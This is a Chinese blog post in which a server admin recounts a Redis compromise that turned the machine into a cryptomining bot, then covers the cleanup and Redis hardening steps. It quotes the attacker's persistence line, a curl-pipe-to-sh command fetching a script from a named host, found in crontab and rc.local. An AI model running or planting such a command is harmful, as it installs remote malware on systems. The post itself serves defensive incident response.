Linux服务器Redis漏洞被利用挖矿解决方法

Linux服务器Redis漏洞被利用挖矿解决方法

由于被检测到对外攻击,已阻断该服务器对其它服务器端口(TCP:6379)的访问,阻断预计将在2018-03-28 07:34:26时间内结束,请及时进行安全自查。若有疑问,请工单或电话联系阿里云售后。发现这个提醒了,基本上你的服务器已经成为挖矿肉鸡了。

最近上服务器,发现服务器redis的备份文件路径变了,一开始也没怎么在意,后来发现一些服务老是挂掉。我重启了次服务器,好像恢复正常了。过了一会,一些关键服务又自动挂了,我开始意识到我服务器可能被入侵变成肉鸡了。这个网址就是罪魁祸首,cdn.namunil.com,开机自启动从此网址自动下载脚本执行,太坑了,这家伙。

于是我看了下crontab,发现有个陌生的例行:

查看定时任务命令:

查看定时任务:vim  /etc/crontab

列出所有的定时任务:crontab -l

删除所有用户定时任务:crontab -r

*/20 * * * * curl -fsSL http://cdn.namunil.com/ash.php | sh

应该就是它在搞事,于是我把它删掉,重启服务器,惊奇地发现这个例行又出现了,明明已经被我删掉了,于是我看了下开机自动加载命令:

cat /etc/rc.d/rc.local

发现如下内容:

curl -fsSL http://cdn.namunil.com/ash.php | shexit()

于是我把它删掉,继续重启服务器,这次正常了。Linux服务器自启动文件路径:etc/rc.local 这个每个人的有细微差别,具体可以查看。

接着我继续排查其他被改动的问题,发现博客可以正常读取mysql数据,但是在Linxu直接命令行连接不上:

[root@VM /root]# mysql -u root -p
mysql: relocation error: mysql: symbol strmov, version libmysqlclient_16 not defined in file libmysqlclient.so.16 with link time reference

参考这个链接解决了

http://blog.51cto.com/ovcer/1620051

接着发现phpmyadmin还是连接不上,账号密码确认没输错,但是就是登录不上气,也没报错,当时就一脸懵逼了,后来想上博客后台看下数据,发现验证码老时提示输入错误(明明没输错,认真脸)。

接着打印日志排查问题的时候,发现验证码根本就没写进到session里面去,突然想起之前在php.ini里面好像改过php session文件的存储路径,于是看了下

[root@VM /root]#php -i | grep session.save_path
session.save_path => /tmp/phpsession/ => /tmp/phpsession/

看了下/tmp目录下并没有phpsession文件夹了,应该是被黑客清掉了,于是我重新创建了phpsession文件夹,并把权限给了www,接着试了下,都恢复正常了。


恢复正常后,我在想是什么引起服务器被入侵的,想了下,最近好像只改动过redis,会不会是redis导致的呢?

我百度了下 -fsSL

发现了一个链接

http://blog.csdn.net/tjcyjd/article/details/54140321

和我遇到的情况很类似,发现他也是redis引起的,后来仔细想想,上次测试redis远程访问,开启后忘记关闭了,也没设置账密,结果就被扫描入侵了。

修复 redis 的后门,

  1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.

  2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.

  3. 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度

  4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf

参考链接里面的做法,我发开打开 ~/.ssh/authorized_keys

果然发现里面有个未知的redis账号,于是马上把它删除了。


来源:春哥团队,欢迎分享,(春哥微信号:cgnanyin)
上一篇:新型木马病毒Pnscan:能够感染Linux路      下一篇:你以为的色情广告其实都是运营商流量